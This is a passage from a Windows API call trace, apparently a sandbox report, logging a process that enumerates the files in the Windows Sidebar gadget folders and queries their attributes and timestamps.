(x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget\\images\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9040 [0089.994] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8191f35e, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8191f35e, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.994] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb950e673, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb950e673, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb7c4b8bc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x42e6, dwReserved0=0x0, dwReserved1=0x0, cFileName="back.png", cAlternateFileName="")) returned 1 [0089.994] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efbc8 [0089.995] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efbc8) returned 1 [0089.995] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efbc8 [0089.995] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efbc8) returned 1 [0089.995] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efbc8 [0089.995] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x131dae8 [0089.996] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efc50) returned 1 [0089.996] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12c3028 [0089.996] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x131df08 [0089.996] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efbc8) returned 1 [0089.996] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb94e8514, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb94e8514, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb7c4b8bc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x6651, dwReserved0=0x0, dwReserved1=0x0, cFileName="back_lrg.png", cAlternateFileName="")) returned 1 [0089.996] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efbc8 [0089.997] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efbc8) returned 1 [0089.997] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efbc8 [0089.997] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efbc8) returned 1 [0089.997] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efbc8 [0089.998] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12c3048 [0089.998] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x131e010 [0089.998] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efbc8) returned 1 [0089.998] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb7cbdcdc, ftCreationTime.dwHighDateTime=0x1c9ea13, ftLastAccessTime.dwLowDateTime=0xb7cbdcdc, ftLastAccessTime.dwHighDateTime=0x1c9ea13, ftLastWriteTime.dwLowDateTime=0xb7cbdcdc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x15a, dwReserved0=0x0, dwReserved1=0x0, cFileName="dial.png", cAlternateFileName="")) returned 1 [0089.998] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efbc8 [0089.998] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efbc8) returned 1 [0089.999] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efbc8 [0089.999] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efbc8) returned 1 [0089.999] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efbc8 [0089.999] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12c3068 [0089.999] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x131e118 [0090.000] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efbc8) returned 1 [0090.000] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb94e8514, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb94e8514, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb94d7b9c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xc91, dwReserved0=0x0, dwReserved1=0x0, cFileName="dialdot.png", cAlternateFileName="")) returned 1 [0090.000] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efbc8 [0090.000] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efbc8) returned 1 [0090.000] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efbc8 [0090.001] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efbc8) returned 1 [0090.001] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efbc8 [0090.001] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12c3088 [0090.001] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x131e430 [0090.002] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efbc8) returned 1 [0090.002] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb950e673, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb950e673, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb94d7b9c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xfca, dwReserved0=0x0, dwReserved1=0x0, cFileName="dialdot_lrg.png", cAlternateFileName="")) returned 1 [0090.002] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efbc8 [0090.002] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efbc8) returned 1 [0090.002] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efbc8 [0090.003] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efbc8) returned 1 [0090.003] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efbc8 [0090.003] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f2398 [0090.003] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x131e538 [0090.004] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efbc8) returned 1 [0090.004] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb949c256, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb949c256, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb7e3aa9c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0x0, dwReserved1=0x0, cFileName="dial_lrg.png", cAlternateFileName="")) returned 1 [0090.004] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efbc8 [0090.004] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efbc8) returned 1 [0090.004] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efbc8 [0090.005] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efbc8) returned 1 [0090.005] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efbc8 [0090.005] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f23b8 [0090.005] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x131e640 [0090.005] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efbc8) returned 1 [0090.005] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb949c256, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb949c256, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb94b1a3c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xc03, dwReserved0=0x0, dwReserved1=0x0, cFileName="dial_lrg_sml.png", cAlternateFileName="")) returned 1 [0090.005] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efbc8 [0090.006] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efbc8) returned 1 [0090.006] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efbc8 [0090.006] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efbc8) returned 1 [0090.006] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efbc8 [0090.006] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f23d8 [0090.006] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x131e748 [0090.007] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efbc8) returned 1 [0090.007] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb94760f7, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb94760f7, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb94b1a3c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xbd2, dwReserved0=0x0, dwReserved1=0x0, cFileName="dial_sml.png", cAlternateFileName="")) returned 1 [0090.007] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efbc8 [0090.007] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efbc8) returned 1 [0090.007] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efbc8 [0090.008] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efbc8) returned 1 [0090.008] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efbc8 [0090.008] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f23f8 [0090.008] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x131e850 [0090.009] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efbc8) returned 1 [0090.009] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb95347d2, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb95347d2, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb9b3d6bc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x134, dwReserved0=0x0, dwReserved1=0x0, cFileName="glass.png", cAlternateFileName="")) returned 1 [0090.009] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efbc8 [0090.009] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efbc8) returned 1 [0090.009] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efbc8 [0090.010] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efbc8) returned 1 [0090.010] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efbc8 [0090.010] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f2418 [0090.010] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x131e958 [0090.010] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efbc8) returned 1 [0090.010] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb95347d2, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb95347d2, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb9b6381c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x1bb, dwReserved0=0x0, dwReserved1=0x0, cFileName="glass_lrg.png", cAlternateFileName="")) returned 1 [0090.010] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efbc8 [0090.011] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efbc8) returned 1 [0090.011] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efbc8 [0090.011] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efbc8) returned 1 [0090.011] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efbc8 [0090.012] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f2438 [0090.012] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x131ea60 [0090.012] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efbc8) returned 1 [0090.012] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb95347d2, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb95347d2, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb9b6381c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x1bb, dwReserved0=0x0, dwReserved1=0x0, cFileName="glass_lrg.png", cAlternateFileName="")) returned 0 [0090.012] GetLastError () returned 0x12 [0090.012] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget\\images\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e91c0 [0090.012] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0090.012] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8191f35e, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8191f35e, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0090.012] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb950e673, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb950e673, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb7c4b8bc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x42e6, dwReserved0=0x0, dwReserved1=0x0, cFileName="back.png", cAlternateFileName="")) returned 1 [0090.013] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb94e8514, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb94e8514, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb7c4b8bc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x6651, dwReserved0=0x0, dwReserved1=0x0, cFileName="back_lrg.png", cAlternateFileName="")) returned 1 [0090.013] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb7cbdcdc, ftCreationTime.dwHighDateTime=0x1c9ea13, ftLastAccessTime.dwLowDateTime=0xb7cbdcdc, ftLastAccessTime.dwHighDateTime=0x1c9ea13, ftLastWriteTime.dwLowDateTime=0xb7cbdcdc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x15a, dwReserved0=0x0, dwReserved1=0x0, cFileName="dial.png", cAlternateFileName="")) returned 1 [0090.013] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb94e8514, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb94e8514, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb94d7b9c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xc91, dwReserved0=0x0, dwReserved1=0x0, cFileName="dialdot.png", cAlternateFileName="")) returned 1 [0090.013] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb950e673, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb950e673, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb94d7b9c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xfca, dwReserved0=0x0, dwReserved1=0x0, cFileName="dialdot_lrg.png", cAlternateFileName="")) returned 1 [0090.013] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb949c256, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb949c256, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb7e3aa9c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0x0, dwReserved1=0x0, cFileName="dial_lrg.png", cAlternateFileName="")) returned 1 [0090.013] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb949c256, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb949c256, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb94b1a3c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xc03, dwReserved0=0x0, dwReserved1=0x0, cFileName="dial_lrg_sml.png", cAlternateFileName="")) returned 1 [0090.013] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb94760f7, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb94760f7, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb94b1a3c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xbd2, dwReserved0=0x0, dwReserved1=0x0, cFileName="dial_sml.png", cAlternateFileName="")) returned 1 [0090.013] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb95347d2, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb95347d2, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb9b3d6bc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x134, dwReserved0=0x0, dwReserved1=0x0, cFileName="glass.png", cAlternateFileName="")) returned 1 [0090.013] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb95347d2, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb95347d2, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb9b6381c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x1bb, dwReserved0=0x0, dwReserved1=0x0, cFileName="glass_lrg.png", cAlternateFileName="")) returned 1 [0090.013] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb95347d2, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb95347d2, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb9b6381c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x1bb, dwReserved0=0x0, dwReserved1=0x0, cFileName="glass_lrg.png", cAlternateFileName="")) returned 0 [0090.013] GetLastError () returned 0x12 [0090.013] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x131dbf0) returned 1 [0090.013] FindClose (in: hFindFile=0x2e91c0 | out: hFindFile=0x2e91c0) returned 1 [0090.014] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x131dae8) returned 1 [0090.014] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x131d9e0) returned 1 [0090.014] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba4ad66a, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xba4ad66a, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xba58159c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x1816, dwReserved0=0x0, dwReserved1=0x0, cFileName="logo.png", cAlternateFileName="")) returned 1 [0090.014] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba4ad66a, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xba4ad66a, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xba58159c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x1816, dwReserved0=0x0, dwReserved1=0x0, cFileName="logo.png", cAlternateFileName="")) returned 0 [0090.014] GetLastError () returned 0x12 [0090.015] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efcd8) returned 1 [0090.015] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0090.015] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d6868) returned 1 [0090.015] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efb40) returned 1 [0090.015] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1ea8d4f6, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea8d4f6, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Currency.Gadget", cAlternateFileName="")) returned 1 [0090.015] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efb40 [0090.016] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Currency.Gadget" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\currency.gadget"), fInfoLevelId=0x0, lpFileInformation=0x119f108 | out: lpFileInformation=0x119f108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1ea8d4f6, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea8d4f6, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0090.016] CreateFileW (lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Currency.Gadget" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\currency.gadget"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x164 [0090.016] SetFileTime (hFile=0x164, lpCreationTime=0x0, lpLastAccessTime=0x119f14c, lpLastWriteTime=0x119f14c) returned 0 [0090.016] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x1333760 [0090.017] DeviceIoControl (in: hDevice=0x164, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1333760, nOutBufferSize=0x4000, lpBytesReturned=0x119f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x1333760, lpBytesReturned=0x119f1a4, lpOverlapped=0x0) returned 0 [0090.017] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1333760) returned 1 [0090.017] NtClose (Handle=0x164) returned 0x0 [0090.017] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efb40) returned 1 [0090.017] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, 